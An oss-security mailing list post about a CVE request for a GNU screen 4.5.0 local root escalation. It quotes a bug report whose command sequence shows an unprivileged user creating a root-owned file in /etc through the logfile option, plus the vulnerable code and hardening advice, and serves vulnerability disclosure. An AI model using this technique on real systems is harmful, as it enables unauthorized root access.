|
Message-ID: <20170125062303.GA2590@openwall.com> Date: Wed, 25 Jan 2017 07:23:03 +0100 From: Solar Designer <solar@...nwall.com> To: oss-security@...ts.openwall.com Cc: abe@...ian.org Subject: Re: CVE request: GNU screen escalation On Tue, Jan 24, 2017 at 10:28:56PM +0100, Moritz Muehlenhoff wrote: > please assign a CVE ID for this vulnerability in GNU screen: > https://lists.gnu.org/archive/html/screen-devel/2017-01/msg00025.html Per oss-security list content guidelines: http://oss-security.openwall.org/wiki/mailing-lists/oss-security#list-content-guidelines "At least the most essential part of your message (e.g., vulnerability detail and/or exploit) should be directly included in the message itself (and in plain text), rather than only included by reference to an external resource. Posting links to relevant external resources as well is acceptable, but posting only links is not. Your message should remain valuable even with all of the external resources gone." let's be including the actual content in here, in addition to links. The screen-devel above is: --- From: anonymous Subject: [screen-devel] [bug #50142] root exploit 4.5.0 Date: Tue, 24 Jan 2017 19:05:10 +0000 (UTC) URL: <http://savannah.gnu.org/bugs/?50142> Summary: root exploit 4.5.0 Project: GNU Screen Submitted by: None Submitted on: Tue 24 Jan 2017 07:05:09 PM UTC Category: Program Logic Severity: 3 - Normal Priority: 5 - Normal Status: None Privacy: Private Assigned to: None Open/Closed: Open Discussion Lock: Any Release: None Fixed Release: None Planned Release: None Work Required: None _______________________________________________________ Details: Commit f86a374 ("screen.c: adding permissions check for the logfile name", 2015-11-04) The check opens the logfile with full root privileges. This allows us to truncate any file or create a root-owned file with any contents in any directory and can be easily exploited to full root access in several ways. > address@...den:~$ screen --version > Screen version 4.05.00 (GNU) 10-Dec-16 > address@...den:~$ id > uid=125(buczek) gid=125(buczek) groups=125(buczek),15(users),19(adm),42(admin),154(Omp3grp),200(algrgrp),209(cdgrp),242(gridgrp),328(nchemgrp),407(hoeheweb),446(spwgrp),453(helpdesk),512(twikigrp),584(zmgrp),598(edv),643(megamgrp),677(greedgrp),5000(abt_srv),16003(framesgr),16012(chrigrp),17001(priv_cpw) > address@...den:~$ cd /etc > address@...den:/etc (master)$ screen -D -m -L bla.bla echo fail > address@...den:/etc (master)$ ls -l bla.bla > -rw-rw---- 1 root buczek 6 Jan 24 19:58 bla.bla > address@...den:/etc (master)$ cat bla.bla > fail > address@...den:/etc (master)$ Donald Buczek <address@...den> --- There are some follow-ups, notably Axel Beckert pointing out that the issue appears to have been introduced on 2016-11-04 (not 2015-11-04): --- > Commit f86a374 ("screen.c: adding permissions check for the logfile name", > 2015-11-04) There is no such commit id, neither in the master branch nor in the screen-v4 branch. I assume you meant one of these two commits instead: master: http://git.savannah.gnu.org/cgit/screen.git/commit/?id=c575c40c9bd7653470639da32e06faed0a9b2ec4 screen-v4: http://git.savannah.gnu.org/cgit/screen.git/commit/?h=screen-v4&id=5460f5d28c01a9a58e021eb1dffef2965e629d58 The latter is the one included in Screen 4.5.0. --- The commits add this code: --- + FILE *w_check; + if ((w_check = fopen(screenlogfile, "w")) == NULL) + Panic(0, "-L: logfile name access problem"); + else + fclose(w_check); --- apparently into command-line option parsing in main(), thus apparently prior to dropping the privileges. (I didn't review this in context.) Last but not least, I hope distros don't install screen SUID root these days. If any distro does, this is yet another reminder to reconsider. Some install it SGID utmp. Some take it a step further - Owl and ALT Linux install it SGID to group screen, which only grants the ability to invoke utempter (SGID utmp) and tcp_chkpwd (SGID shadow). Thus, it'd take a vulnerability in those other tools to make much use of a screen vulnerability. Here's an excerpt from ALT Linux's spec file: %post ln -f %_libexecdir/chkpwd/tcb_chkpwd %_libexecdir/screen/ ln -f %_libexecdir/utempter/utempter %_libexecdir/screen/ %preun if [ $1 -eq 0 ]; then rm -f %_libexecdir/screen/{tcb_chkpwd,utempter} fi %triggerin -- pam_tcb >= 0.9.7.1 ln -f %_libexecdir/chkpwd/tcb_chkpwd %_libexecdir/screen/ %triggerin -- libutempter >= 1.0.6 ln -f %_libexecdir/utempter/utempter %_libexecdir/screen/ %files %attr(2711,root,screen) %_bindir/screen %attr(710,root,screen) %dir %_libexecdir/screen %attr(2711,root,shadow) %ghost %_libexecdir/screen/tcb_chkpwd %attr(2711,root,utmp) %ghost %_libexecdir/screen/utempter %attr(775,root,screen) %dir /var/run/screen/ Alexander
Powered by blists - more mailing lists
Please check out the Open Source Software Security Wiki, which is counterpart to this mailing list.
Confused about mailing lists and their use? Read about mailing lists on Wikipedia and check out these guidelines on proper formatting of your messages.